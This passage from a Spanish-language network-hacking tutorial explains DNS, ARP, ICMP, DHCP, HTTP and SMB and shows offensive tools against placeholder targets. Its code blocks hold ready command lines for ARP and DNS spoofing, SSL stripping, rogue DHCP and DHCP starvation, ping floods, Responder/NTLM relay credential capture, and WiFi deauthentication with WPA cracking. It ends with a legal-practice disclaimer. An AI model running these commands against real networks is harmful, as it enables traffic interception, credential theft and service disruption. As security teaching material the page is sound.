PASO 4: Resolutor Recursivo (DNS de tu ISP)
└── La consulta va a tu servidor DNS configurado
    └── Usualmente: tu router → DNS del ISP
    └── O personalizados: 8.8.8.8 (Google), 1.1.1.1 (Cloudflare)
    └── El resolutor busca en su caché
    └── Si la encuentra, devuelve la IP. ¡Listo!
    └── Si no, el resolutor hace el trabajo pesado...

PASO 5: Servidores DNS Raíz (Root)
└── El resolutor pregunta al servidor raíz: "¿Dónde está .com?"
    └── Hay 13 clústeres de servidores raíz en el mundo (a.root-servers.net al m)
    └── El Raíz dice: "No conozco example.com, pero el TLD .com está en estos servidores"

PASO 6: Servidores TLD (Top-Level Domain)
└── El resolutor pregunta al TLD .com: "¿Dónde está example.com?"
    └── El TLD dice: "No sé la IP, pero los servidores de nombres de example.com son..."

PASO 7: Servidor de Nombres Autoritativo
└── El resolutor pregunta al servidor de nombres de example.com: "¿Cuál es la IP de www?"
    └── El servidor autoritativo dice: "93.184.216.34"
    └── ¡Esta es la respuesta definitiva!

PASO 8: Respuesta en Caché y Devuelta
└── El resolutor guarda la respuesta (el TTL determina cuánto tiempo)
└── Devuelve 93.184.216.34 a tu SO
└── El SO la guarda y la devuelve al navegador
└── El navegador la guarda y se conecta a la IP

Tiempo total: Usualmente 20-120 milisegundos para búsquedas no almacenadas
```

***

### Tipos de Registros DNS

DNS almacena **varios tipos de registros**. Cada uno sirve para un propósito diferente y filtra información distinta a los atacantes.

<table><thead><tr><th width="123">Tipo</th><th width="182">Nombre</th><th>Propósito</th><th>Uso en Hackin</th></tr></thead><tbody><tr><td><mark style="color:$info;">A</mark></td><td><mark style="color:$info;">Address</mark></td><td><mark style="color:$info;">Mapea un dominio a una dirección IPv4</mark></td><td><mark style="color:$info;">Encontrar IPs de servidores, identificar hosting</mark></td></tr><tr><td><mark style="color:$info;">AAAA</mark></td><td><mark style="color:$info;">IPv6 Address</mark></td><td><mark style="color:$info;">Mapea un dominio a una dirección IPv6</mark></td><td><mark style="color:$info;">Descubrir infraestructura IPv6 (a menudo insegura)</mark></td></tr><tr><td><mark style="color:$info;">MX</mark></td><td><mark style="color:$info;">Mail Exchanger</mark></td><td><mark style="color:$info;">Especifica servidores de correo del dominio</mark></td><td><mark style="color:$info;">Hallar infraestructura de email, preparar phising</mark></td></tr><tr><td><mark style="color:$info;">NS</mark></td><td><mark style="color:$info;">Nameserver</mark></td><td><mark style="color:$info;">Servidores DNS autoritativos del dominio</mark></td><td><mark style="color:$info;">Mapeo de infraestructura, objetivos de transferencia de zona</mark></td></tr><tr><td><mark style="color:$info;">TXT</mark></td><td><mark style="color:$info;">Text Record</mark></td><td><mark style="color:$info;">Texto arbitrario (SPF, DKIM, verification)</mark></td><td><mark style="color:$info;">Divulgación de información, a menudo contiene secretos</mark></td></tr><tr><td><mark style="color:$info;">CNAME</mark></td><td><mark style="color:$info;">Canonical Name</mark></td><td><mark style="color:$info;">Alias hacia otro dominio</mark></td><td><mark style="color:$info;">Toma de subdominios si apunta a recursos no reclamados</mark></td></tr><tr><td><mark style="color:$info;">PTR</mark></td><td><mark style="color:$info;">Pointer</mark></td><td><mark style="color:$info;">DNS inverso - de IP a dominio</mark></td><td><mark style="color:$info;">Identificar a qué dominio pertenece una IP</mark></td></tr><tr><td><mark style="color:$info;">SOA</mark></td><td><mark style="color:$info;">Start of Authority</mark></td><td><mark style="color:$info;">Info administrativa sobre la zona</mark></td><td><mark style="color:$info;">Email del administrador, números de serie, tiempos</mark></td></tr><tr><td><mark style="color:$info;">SRV</mark></td><td><mark style="color:$info;">Service</mark></td><td><mark style="color:$info;">Localiza servicios (LDAP, SIP, etc)</mark></td><td><mark style="color:$info;">Descubrir servicios internos como AD</mark></td></tr></tbody></table>

***

### Herramientas de Reconocimiento DNS

```bash
# nslookup - Consultas DNS básicas
nslookup google.com
nslookup -type=MX google.com
nslookup -type=NS google.com
nslookup -type=TXT google.com

# dig - Herramienta DNS más potente
dig google.com                  # Registro A
dig google.com MX               # Registros MX
dig google.com ANY              # Todos los registros (si está permitido)
dig +short google.com           # Solo la IP
dig @8.8.8.8 google.com         # Consultar un servidor DNS específico

# host - Búsqueda DNS simple
host google.com
host -t MX google.com
host -t TXT google.com

# Búsqueda DNS inversa (Reverse DNS)
dig -x 142.250.80.14
nslookup 142.250.80.14
host 142.250.80.14
```

***

### Ataque de Transferencia de Zona DNS (AXFR)

Las transferencias de Zona (**AXFR**) están diseñadas para **replicar registros DNS** entre servidores de nombres. Si están mal configuradas, un atacante puede descargar la zona **COMPLETA** - cada subdominio y cada dirección IP.

```bash
# Intento de transferencia de zona:
dig axfr @ns1.target.com target.com

# Si tiene éxito, obtienes TODO:
target.com.        IN  SOA   ns1.target.com. admin.target.com.
target.com.        IN  NS    ns1.target.com.
target.com.        IN  NS    ns2.target.com.
target.com.        IN  A     203.0.113.1
www.target.com.    IN  A     203.0.113.1
mail.target.com.   IN  A     203.0.113.2
dev.target.com.    IN  A     203.0.113.10    # ← ¡Servidor de Desarrollo!
staging.target.com IN  A     203.0.113.11    # ←  Staging!
admin.target.com.  IN  A     203.0.113.20    # ← ¡Panel de Administración!
vpn.target.com.    IN  A     203.0.113.50    # ← VPN gateway!
db.target.com.     IN  A     10.0.0.5        # ← ¡IP interna filtrada!

# ¡Esto es una victoria MASIVA en reconocimiento!
# Acabas de descubrir toda su infraestructura.

# Automatizado con Nmap:
nmap --script dns-zone-transfer -p 53 ns1.target.com
```

#### 🎯 Ataques DNS

<table data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>DNS Spoofing/Cache Poisoning:</h4></td><td><ul><li><mark style="color:$info;">Inyectar respuestas DNS falsas para redirigir a las víctimas</mark></li><li><mark style="color:$info;">El usuario escribe "bank.com" pero termina en el sitio falso del atacante</mark></li><li><mark style="color:$info;">Resultado: Credenciales robadas, malware entregado</mark></li></ul></td></tr><tr><td align="center"><h4>DNS Tunneling:</h4></td><td><ul><li><mark style="color:$info;">Codificar datos en consultas DNS para filtrarlos a través de firewalls</mark></li><li><mark style="color:$info;">El DNS raramente se bloquea, así que es un buen canal encubierto</mark></li><li><mark style="color:$info;">Herramientas: dnscat2, iodine</mark></li></ul></td></tr><tr><td align="center"><h4>Subdomain Takeover:</h4></td><td><ul><li><mark style="color:$info;">Un CNAME apunta a un recurso en la nube (AWS, etc)</mark></li><li><mark style="color:$info;">El recurso se elimina pero el registro CNAME permanece</mark></li><li><mark style="color:$info;">El atacante reclama este recurso y ahora controla el subdominio</mark></li></ul></td></tr></tbody></table>

***

### Enumeración de Subdominios

Encontrar subdominios ocultos es reconocimiento crucial. Muchas superficies de ataque se esconden en subdominios olvidados.

```shellscript
# Herramientas de enumeración de subdominios:

# sublist3r - Usa motores de búsqueda, VirusTotal, etc.
sublist3r -d target.com

# amass - Descubrimiento exhaustivo de subdominios
amass enum -d target.com

# gobuster - Fuerza bruta de subdominios
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt

# subfinder - Buscador rápido de subdominios
subfinder -d target.com

# dnsrecon - Enumeración DNS
dnsrecon -d target.com

# Herramientas online:
# crt.sh - Logs de transparencia de certificados
# dnsdumpster.com - Reconocimiento DNS gratuito
# shodan.io - Busca servicios expuestos
```

#### 🔎 Transparencia de Certificados = Subdominios Gratis

Cuando una empresa obtiene un certificado SSL, se registra públicamente. Busca en [crt.sh](https://crt.sh/) "%.target.com" para encontrar TODOS sus subdominios con certificados SSL - ¡reconocimiento completamente legal!

```bash
# Consultar crt.sh
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Los resultados podrían incluir:
# dev.target.com
# staging.target.com
# api.target.com
# internal.target.com  ← ¡Interesante!
# vpn.target.com
# admin.target.com     ← ¡Muy interesante!
```

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Protocolos de Red Esenciales&#x20;

Los protocolos son los lenguajes y reglas que los ordenadores usan para comunicarse. Cada protocolo tiene diferentes propósitos y diferentes vulnerabilidades. Entender estos protocolos a nivel profundo es esencial para el hackeo de redes.

### ARP - Adress Resolution Protocol

ARP mapea direcciones IP a direcciones MAC en redes locales. Es esencial para la comunicación en Capa 2 - y es completamente confiable, lo que lo hace perfecto para ataques.

<details>

<summary>📫 La Metáfora de los Buzones del Edificio (click aquí)</summary>

Imagina un edificio de apartamentos donde se reparte el correo:<br>

* <mark style="color:$info;">Sabes que alguien vive en el "Apartamento 100" (Dirección IP)</mark>

* <mark style="color:$info;">Pero el correo va en buzones físicos (Direcciones MAC)</mark>

* <mark style="color:$info;">Gritas "¿Quién tiene el Apartamento 100? ¿Cuál es el número de buzón?</mark>

* <mark style="color:$info;">El residente grita su número de buzón</mark>

* <mark style="color:$info;">¡Ahora puedes entregarle correo!</mark>

**El problema:** Cualquiera puede responder. Un atacante dice "Yo soy el Apartamento 100, usa MI buzón" y todo el correo va hacia él.

</details>

```bash
# ARP en acción:

# Nuestro ordenador: "¿Quién tiene 192.168.1.1? Avisa a 192.168.1.100"
#    Esta es una Solicitud ARP (broadcast a todos)

# Router: "192.168.1.1 está en AA:BB:CC:DD:EE:FF"
#    Esta es una Respuesta ARP (unicast de vuelta al solicitante)

# Nuestro ordenador guarda este mapeo en caché:
# Caché ARP: 192.168.1.1 → AA:BB:CC:DD:EE:FF

# Ver caché ARP:
arp -a             # Windows/Linux
ip neigh show      # Linux (moderno)

# Salida de ejemplo:
192.168.1.1 at aa:bb:cc:dd:ee:ff [ether] on eth0
192.168.1.50 at 11:22:33:44:55:66 [ether] on eth0

# Problema: ARP NO TIENE AUTENTICACIÓN
# ¡Cualquiera puede enviar respuestas ARP diciendo ser quien sea!
```

***

### ARP Spoofing Attack (MITM)

```bash
# ARP Spoofing - El Clásico Ataque Man-in-the-Middle

# Situación normal:
Víctima (192.168.1.100) → Router (192.168.1.1) → Internet
# Caché ARP de la víctima: 192.168.1.1 = AA:BB:CC:DD:EE:FF (MAC real del router)

# El atacante envía respuesta ARP falsa a la víctima:
"192.168.1.1 está en [MAC DEL ATACANTE]"

# Ahora la caché ARP de la víctima dice:
192.168.1.1 = [MAC DEL ATACANTE]   ← ¡ENVENENADA!

# ¡Todo el tráfico que la víctima envía al "router" va al atacante!
Víctima → Atacante → Router → Internet
                 ↑
           ¡Ve todo!

# Para completar el MITM, también envenenar el router:
"192.168.1.100 está en [MAC DEL ATACANTE]"

# Ahora el tráfico fluye en AMBAS direcciones a través del atacante:
Víctima ↔ Atacante ↔ Router ↔ Internet

# Herramientas para ARP spoofing:
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1   # Decirle a la víctima que somos el router
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100   # Decirle al router que somos la víctima

# Habilitar reenvío de IP (para que el tráfico fluya):
echo 1 > /proc/sys/net/ipv4/ip_forward

# Mejor herramienta - bettercap:
bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
```

{% hint style="info" icon="lightbulb" %}

#### ¿Qué puedes hacer con ARP Spoofing?

* <mark style="color:$info;">**Capturar credenciales:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Inicios de sesión HTTP, FTP, Telnet (todos visibles en texto plano)</mark>
* <mark style="color:$info;">**Session hijacking:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Robar cookies y convertirte en usuarios registrados</mark>
* <mark style="color:$info;">**Inyectar contenido:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Agregar malware a las descargas, modificar páginas web</mark>
* <mark style="color:$info;">**SSL stripping:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Degradar HTTPS a HTTP para poder ver el tráfico cifrado en texto plano</mark>
* <mark style="color:$info;">**DNS spoofing:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Redirigir dominios a sitios falsos controlados por el atacante</mark>
  {% endhint %}

***

### ICMP - Internet Control Message Protocol

ICMP se usa para diagnósticos de red y reportes de errores. Ping y traceroute usan ICMP. También es útil para reconocimiento y puede usarse en ataques.

```bash
# Tipos de mensajes ICMP comunes:

Type 0  - Echo Reply (respuesta de ping)
Type 3  - Destination Unreachable (destino inalcanzable)
Type 4  - Source Quench (obsoleto)
Type 5  - Redirect (¡usado en ataques!)
Type 8  - Echo Request (solicitud de ping)
Type 11 - Time Exceeded (tiempo excedido, usado por traceroute)

# Ping usa Echo Request/Reply:
ping 8.8.8.8
# Envía ICMP Type 8, recibe ICMP Type 0

# Traceroute usa Time Exceeded:
traceroute google.com    # Linux
tracert google.com       # Windows

# Cómo funciona traceroute:
# 1. Enviar paquete con TTL=1
# 2. El primer router decrementa TTL a 0, envía "Time Exceeded"
# 3. ¡Ahora conocemos el primer salto!
# 4. Enviar paquete con TTL=2
# 5. El segundo router envía "Time Exceeded"
# 6. Repetir hasta alcanzar el destino
```

***

### Ataques ICMP

```bash
# Ping Flood (DDoS):
ping -f 192.168.1.1           # Flood ping (Linux, requiere root)
hping3 -1 --flood 192.168.1.1 # Usando hping3

# Ping of Death (histórico):
# Paquetes ICMP sobredimensionados que crasheaban sistemas
# Los sistemas modernos están parcheados contra esto

# Ataque Smurf (amplificación):
# Hacer ping a la dirección broadcast con origen falsificado
# Todos los hosts responden a la víctima = amplificación

# Ataque ICMP Redirect:
# Enviar mensajes "Redirect" falsos
# La víctima actualiza su tabla de enrutamiento
# El tráfico ahora se enruta a través del atacante

# Usar hping3 para ataques ICMP:
hping3 -1 -a 192.168.1.100 192.168.1.255  # Ping falsificado a broadcast
```

{% hint style="warning" %}

#### ¿Por qué ICMP es peligroso?

* <mark style="color:$info;">**Sin autenticación:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Al igual que ARP, ICMP confía en todos los mensajes</mark>
* <mark style="color:$info;">**Raramente bloqueado:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Muchas redes permiten ICMP para diagnósticos</mark>
* <mark style="color:$info;">**Útil para reconocimiento:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Revela hosts activos, estructura de red, tiempos de respuesta</mark>
* <mark style="color:$info;">**Amplificación DDoS:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Un paquete puede generar múltiples respuestas</mark>
  {% endhint %}

***

### DHCP - Dynamic Host Configuration Protocol

DHCP asigna automáticamente direcciones IP, gateways y servidores DNS a los dispositivos. Hace que las redes sean "plug and play" - pero también confiables y explotables.

```bash
# Proceso DHCP (DORA):

1. DISCOVER - El cliente hace broadcast: "¡Necesito una IP!"
   Origen: 0.0.0.0:68 → Destino: 255.255.255.255:67
   
2. OFFER - El servidor DHCP ofrece configuración:
   "Puedes tener 192.168.1.100"
   
3. REQUEST - El cliente solicita la IP ofrecida:
   "Tomaré 192.168.1.100"
   
4. ACK - El servidor confirma:
   "192.168.1.100 es tuya durante 24 horas"
   También proporciona: Gateway, DNS, máscara de subred

# El cliente ahora tiene:
IP: 192.168.1.100
Gateway: 192.168.1.1
DNS: 192.168.1.1 (o DNS del ISP)
Subnet: 255.255.255.0
Lease time: 86400 segundos
```

{% hint style="info" %}
El proceso **DORA** es el mecanismo de cuatro pasos (**D**iscover, **O**ffer, **R**equest, **A**cknowledge) utilizado por el protocolo DHCP para asignar automáticamente direcciones IP y configuraciones de red a dispositivos
{% endhint %}

***

### Ataques DHCP

```bash
# Ataque de Agotamiento DHCP (DHCP Starvation):
# Solicitar TODAS las direcciones IP disponibles
# Los usuarios legítimos no pueden obtener IPs
# Herramientas: Yersinia, dhcpig

yersinia -G                    # Modo GUI
dhcpig -i eth0                 # Agotar el pool DHCP

# Ataque de Servidor DHCP Falso (Rogue DHCP Server):
# Configurar tu propio servidor DHCP
# Competir para responder más rápido que el servidor legítimo
# Repartir TU configuración:
#   - TU IP como gateway (¡MITM!)
#   - TU IP como servidor DNS (¡DNS spoofing!)

# Usar dnsmasq como DHCP falso:
dnsmasq --interface=eth0 \
        --dhcp-range=192.168.1.100,192.168.1.200 \
        --dhcp-option=3,192.168.1.50 \    # Gateway = atacante
        --dhcp-option=6,192.168.1.50      # DNS = atacante

# ¡Ahora todos los nuevos clientes se enrutan a través de ti!
```

***

### HTTP/HTTPS Protocols

HTTP y HTTPS definen cómo nuestro navegador se comunica con los servidores web. **HTTPS añade cifrado** para mayor seguridad. Estos protocolos generalmente usan el **puerto TCP 80** (HTTP) y el **puerto TCP 443** (HTTPS).

```bash
# Estructura de Petición HTTP:
GET /login.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: text/html,application/xhtml+xml
Accept-Language: en-US,en;q=0.9
Cookie: session_id=abc123; user=john
Connection: keep-alive

[línea en blanco]
[cuerpo opcional para peticiones POST]

# Estructura de Respuesta HTTP:
HTTP/1.1 200 OK
Date: Sat, 14 Dec 2024 12:00:00 GMT
Server: Apache/2.4.41
Content-Type: text/html; charset=UTF-8
Content-Length: 1234
Set-Cookie: session_id=xyz789; HttpOnly; Secure

...

# Métodos HTTP Importantes:
GET     - Obtener recurso (parámetros en la URL)
POST    - Enviar datos (parámetros en el cuerpo)
PUT     - Actualizar/crear recurso
DELETE  - Eliminar recurso
HEAD    - GET sin cuerpo (solo encabezados)
OPTIONS - ¿Qué métodos están permitidos?
PATCH   - Actualización parcial
TRACE   - Devolver la petición (ataques XST)

# Códigos de Estado Importantes:
200 - OK
301 - Movido Permanentemente (redirección)
302 - Encontrado (redirección temporal)
400 - Petición Incorrecta
401 - No Autorizado
403 - Prohibido
404 - No Encontrado
500 - Error Interno del Servidor
502 - Puerta de Enlace Incorrecta
503 - Servicio No Disponible
```

***

### SMB - Server Message Block

SMB es el protocolo de compartición de archivos de Windows. Ha sido la fuente de vulnerabilidades devastadoras como [EternalBlue](https://msmk.university/que-es-el-eternalblue-msmk-university/) (ransomware WannaCry).

```bash
# Puertos SMB:
139 - NetBIOS Session Service (SMB sobre NetBIOS)
445 - SMB directamente sobre TCP

# Enumeración SMB:
smbclient -L //192.168.1.1     # Listar recursos compartidos
smbclient //192.168.1.1/share  # Conectar a recurso compartido

# Sesión nula (sin autenticación):
smbclient -L //192.168.1.1 -N

# Usar enum4linux:
enum4linux 192.168.1.1

# Usar smbmap:
smbmap -H 192.168.1.1
smbmap -H 192.168.1.1 -u '' -p ''  # Sesión nula

# Verificar vulnerabilidad EternalBlue:
nmap -p 445 --script smb-vuln-ms17-010 192.168.1.1

# CrackMapExec - Navaja suiza para SMB:
crackmapexec smb 192.168.1.0/24          # Escanear red
crackmapexec smb 192.168.1.1 -u '' -p '' # Sesión nula
crackmapexec smb 192.168.1.1 -u user -p password --shares
```

{% hint style="danger" %}

#### Vectores de Ataque SMB

* <mark style="color:$info;">**Null sessions:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Acceso anónimo a recursos compartidos y listas de usuarios sin necesidad de credenciales</mark>
* <mark style="color:$info;">**Password spraying:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Probar contraseñas comunes en múltiples usuarios para evitar bloqueos de cuenta</mark>
* <mark style="color:$info;">**Pass-the-hash:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Usar hashes NTLM directamente sin necesidad de crackearlos para autenticarse</mark>
* <mark style="color:$info;">**Eternalblue:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ejecución remota de código (MS17-010)</mark>
* <mark style="color:$info;">**SMB Relay:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Interceptar y retransmitir la autenticación a otro host para obtener acceso</mark>
  {% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Herramientas de Red Esenciales

Domina estas herramientas y podrás analizar, atacar y defender cualquier red. Estas son las herramientas esenciales que todo profesional de ciberseguridad de redes debe conocer a fondo.

<figure><img src="/files/HIWP3XS1y9cXJzND5V7T" alt=""><figcaption></figcaption></figure>

### 🔍 Nmap - El rey de los Escáneres de Puertos&#x20;

Nmap es la herramienta de reconocimiento más importante. Descubre hosts, escanea puertos, detecta servicios e incluso encuentra vulnerabilidades.

```bash
# Descubrimiento de Hosts:
nmap -sn 192.168.1.0/24           # Barrido de ping - encontrar hosts activos
nmap -Pn 192.168.1.1              # Saltar ping - asumir que el host está activo
nmap -PS22,80,443 192.168.1.1     # Ping TCP SYN en puertos específicos
nmap -PA80 192.168.1.1            # Ping TCP ACK
nmap -PU53 192.168.1.1            # Ping UDP

# Técnicas de Escaneo de Puertos:
nmap -sT 192.168.1.1    # Escaneo TCP Connect (completa handshake, se registra)
nmap -sS 192.168.1.1    # Escaneo SYN (sigiloso, medio abierto) [por defecto, necesita root]
nmap -sU 192.168.1.1    # Escaneo UDP (lento pero importante!)
nmap -sA 192.168.1.1    # Escaneo ACK (detectar reglas de firewall)
nmap -sN 192.168.1.1    # Escaneo NULL (sin flags, evade algunos firewalls)
nmap -sF 192.168.1.1    # Escaneo FIN (solo flag FIN)
nmap -sX 192.168.1.1    # Escaneo Xmas (flags FIN+PSH+URG)

# Especificación de Puertos:
nmap -p 80 192.168.1.1            # Puerto único
nmap -p 80,443,8080 192.168.1.1   # Múltiples puertos
nmap -p 1-1000 192.168.1.1        # Rango de puertos
nmap -p- 192.168.1.1              # TODOS los 65535 puertos (lento pero completo!)
nmap --top-ports 100 192.168.1.1  # Top 100 puertos más comunes

# Detección de Servicios y Versiones:
nmap -sV 192.168.1.1              # Detección de versiones
nmap -sV --version-intensity 5    # Detección de versiones agresiva
nmap -sC 192.168.1.1              # Scripts por defecto
nmap -A 192.168.1.1               # Agresivo: OS + versiones + scripts + traceroute

# Detección de OS:
nmap -O 192.168.1.1               # Fingerprinting de OS

# Temporización y Rendimiento:
nmap -T0 192.168.1.1    # Paranoico (evasión IDS, muy lento)
nmap -T1 192.168.1.1    # Sigiloso (evasión IDS)
nmap -T2 192.168.1.1    # Educado (bajo ancho de banda)
nmap -T3 192.168.1.1    # Normal (por defecto)
nmap -T4 192.168.1.1    # Agresivo (más rápido)
nmap -T5 192.168.1.1    # Insano (el más rápido, puede perder puertos)

# Scripts NSE:
nmap --script vuln 192.168.1.1                    # Scripts de vulnerabilidades
nmap --script "http-*" 192.168.1.1                # Todos los scripts HTTP
nmap --script smb-vuln-ms17-010 192.168.1.1       # Verificar EternalBlue
nmap --script http-enum 192.168.1.1               # Enumeración HTTP
nmap --script ssl-heartbleed 192.168.1.1          # Verificar Heartbleed

# Formatos de Salida:
nmap -oN output.txt 192.168.1.1    # Salida normal
nmap -oX output.xml 192.168.1.1    # Salida XML
nmap -oG output.gnmap 192.168.1.1  # Salida "grepable"
nmap -oA output 192.168.1.1        # Todos los formatos a la vez

# Combinaciones Pro:
nmap -p- -sS --min-rate 5000 -n -Pn -vvv --open 192.168.1.1

nmap 192.168.1.1 -sC -sV -p 80
# Escaneo SYN, detección de versiones, scripts por defecto, detección de OS, 
# temporización rápida, todos los puertos
```

***

### 🦈 Wireshark - Analizador de Paquetes

Wireshark captura y analiza todo el tráfico de red en tiempo real. Esencial para entender qué está sucediendo en la red.

```bash
# Iniciar Wireshark:
wireshark                         # Interfaz gráfica
tshark -i eth0                    # Versión línea de comandos

# Filtros de Captura Comunes (antes de capturar):
host 192.168.1.1                  # Tráfico hacia/desde host específico
port 80                           # Tráfico en puerto específico
src 192.168.1.100                 # Tráfico desde origen
dst 192.168.1.1                   # Tráfico hacia destino
tcp                               # Solo TCP
udp port 53                       # Solo DNS (UDP 53)

# Filtros de Visualización Comunes (después de capturar):
ip.addr == 192.168.1.1            # Tráfico hacia/desde IP
ip.src == 192.168.1.100           # Desde origen específico
ip.dst == 8.8.8.8                 # Hacia destino específico
tcp.port == 80                    # Puerto TCP 80
http                              # Solo tráfico HTTP
dns                               # Solo DNS
tcp.flags.syn == 1                # Paquetes SYN (nuevas conexiones)
http.request.method == "POST"     # Solo peticiones POST
frame contains "password"         # Paquetes que contienen "password"

# Seguir Flujos:
Clic derecho en paquete → Follow → TCP Stream    # Ver conversación completa
Clic derecho en paquete → Follow → HTTP Stream   # HTTP reconstruido

# Extraer archivos:
File → Export Objects → HTTP      # Extraer archivos descargados

# Colorear:
View → Coloring Rules             # Código de colores para diferentes tráficos

# Usos prácticos:
# - Capturar credenciales de tráfico sin cifrar
# - Analizar comunicación de malware
# - Depurar problemas de red
# - Aprender cómo funcionan los protocolos
# - Verificar que tus propias herramientas funcionan correctamente
```

***

### 🖥️ Tcpdump - Captura de Paquetes

```bash
# Captura básica:
tcpdump -i eth0                   # Capturar en interfaz
tcpdump -i any                    # Todas las interfaces

# Ejemplos de filtros:
tcpdump -i eth0 host 192.168.1.1  # Host específico
tcpdump -i eth0 port 80           # Puerto específico
tcpdump -i eth0 src 192.168.1.100 # Desde origen
tcpdump -i eth0 dst port 443      # Hacia puerto de destino

# Opciones de salida:
tcpdump -w capture.pcap           # Escribir a archivo
tcpdump -r capture.pcap           # Leer desde archivo
tcpdump -n                        # No resolver nombres de host
tcpdump -nn                       # No resolver nombres ni puertos
tcpdump -v                        # Detallado
tcpdump -vvv                      # Muy detallado
tcpdump -X                        # Mostrar contenido en hex y ASCII

# Combinar filtros:
tcpdump -i eth0 'port 80 and host 192.168.1.1'
tcpdump -i eth0 'tcp port 22 or tcp port 80'
tcpdump -i eth0 'not port 22'     # Excluir SSH
```

***

<div data-full-width="false"><figure><img src="/files/ELP1xQ8iXbmTeOA21WOf" alt=""><figcaption></figcaption></figure></div>

### 🎯 Bettercap - Framework Moderno de Ataque de Redes

```bash
# Iniciar bettercap:
bettercap -iface eth0  # Modo interactivo

# Comandos en modo interactivo:
> help                            # Listar todos los comandos
> net.probe on                    # Descubrir hosts en la red
> net.show                        # Mostrar hosts descubiertos

# ARP Spoofing:
> set arp.spoof.targets 192.168.1.100    # Apuntar a host específico
> set arp.spoof.fullduplex true          # Interceptar ambas direcciones
> arp.spoof on                           # Iniciar ARP spoofing

# Captura de Paquetes:
> net.sniff on                           # Capturar tráfico

# DNS Spoofing:
> set dns.spoof.domains *.google.com     # Dominios a falsificar
> set dns.spoof.address 192.168.1.50     # Dónde redirigir
> dns.spoof on                           # Iniciar DNS spoofing

# Degradación HTTPS (SSL stripping):
> set http.proxy.sslstrip true
> http.proxy on

# Recolección de Credenciales:
> set http.proxy.script /path/to/script.js
> http.proxy on

# Caplets (scripts de automatización):
bettercap -caplet spoof.cap              # Ejecutar archivo caplet
```

***

### 🔓 Responder - Recolector de Credenciales de Windows

```bash
# Responder envenena LLMNR, NBT-NS y MDNS
# Cuando Windows no puede resolver un nombre, hace broadcast
# Responder responde: "¡Yo soy ese servidor!" y captura credenciales

responder -I eth0                 # Iniciar Responder
responder -I eth0 -wrf            # Incluir WPAD, con forzado

# Los hashes capturados van a logs/
# Crackear con hashcat:
hashcat -m 5600 hash.txt wordlist.txt    # NTLMv2

# Usar con ntlmrelayx para ataques de relay:
ntlmrelayx.py -tf targets.txt -smb2support
```

***

### **📡** Aircrack-ng Suite - Hacking WiFi

```bash
# Poner interfaz en modo monitor:
airmon-ng start wlan0

# Escanear redes:
airodump-ng wlan0mon

# Apuntar a red específica:
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Ataque de desautenticación (forzar handshake):
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF -c CLIENT_MAC wlan0mon

# Crackear WPA2:
aircrack-ng -w wordlist.txt capture-01.cap

# Ataque PMKID (sin cliente):
hcxdumptool -i wlan0mon --enable_status=1 -o capture.pcapng
hcxpcapngtool -o hash.txt capture.pcapng
hashcat -m 22000 hash.txt wordlist.txt
```

***

<figure><img src="/files/sVLcAF5wPsHbD8rQcMob" alt=""><figcaption></figcaption></figure>

```bash
# netcat - Navaja suiza
nc -lvnp 4444                     # Escuchar en puerto 4444
nc 192.168.1.1 80                 # Conectar a puerto 80
nc -zv 192.168.1.1 1-1000         # Escaneo de puertos

# curl - Peticiones HTTP
curl http://192.168.1.1           # Petición GET
curl -X POST -d "data" http://..  # Petición POST
curl -I http://192.168.1.1        # Solo encabezados
curl -k https://...               # Ignorar errores de certificado

# dig - Consultas DNS
dig google.com                    # Registro A
dig +short google.com             # Solo la IP
dig @8.8.8.8 google.com           # Consultar servidor específico

# whois - Información de dominio
whois google.com

# traceroute - Ruta hacia el objetivo
traceroute 8.8.8.8

# netstat / ss - Conexiones de red
netstat -tlnp                     # Puertos TCP escuchando
ss -tlnp                          # Lo mismo, herramienta moderna

# arp - Tabla ARP
arp -a                            # Mostrar caché ARP
```

***

## Disclaimer

{% hint style="warning" icon="scale-balanced" %}

## &#x20;¡Practica Legalmente!

<mark style="color:$info;">Solo usa estas herramientas en redes que posees o para las que tengas permiso explícito de prueba. El escaneo y ataque no autorizado de redes es ilegal en la mayoría de jurisdicciones y puede resultar en:</mark>

* <mark style="color:$info;">Cargos criminales bajo leyes de fraude informático</mark>
* <mark style="color:$info;">Demandas civiles por daños</mark>
* <mark style="color:$info;">Despido laboral</mark>
* <mark style="color:$info;">Prohibición permanente de la industria de la seguridad</mark>

<mark style="color:$info;">**Formas legales de practicar:**</mark>

* <mark style="color:$info;">Configurar tu propio laboratorio con máquinas virtuales</mark>
* <mark style="color:$info;">Usar VMs intencionalmente vulnerables (Metasploitable, DVWA)</mark>
* <mark style="color:$info;">Participar en competiciones CTF</mark>
* <mark style="color:$info;">Usar plataformas como HackTheBox, TryHackMe</mark>
* <mark style="color:$info;">Obtener permiso por escrito para pruebas autorizadas</mark>
  {% endhint %}

***

## Construyendo tu laboratorio de Hacking de Redes

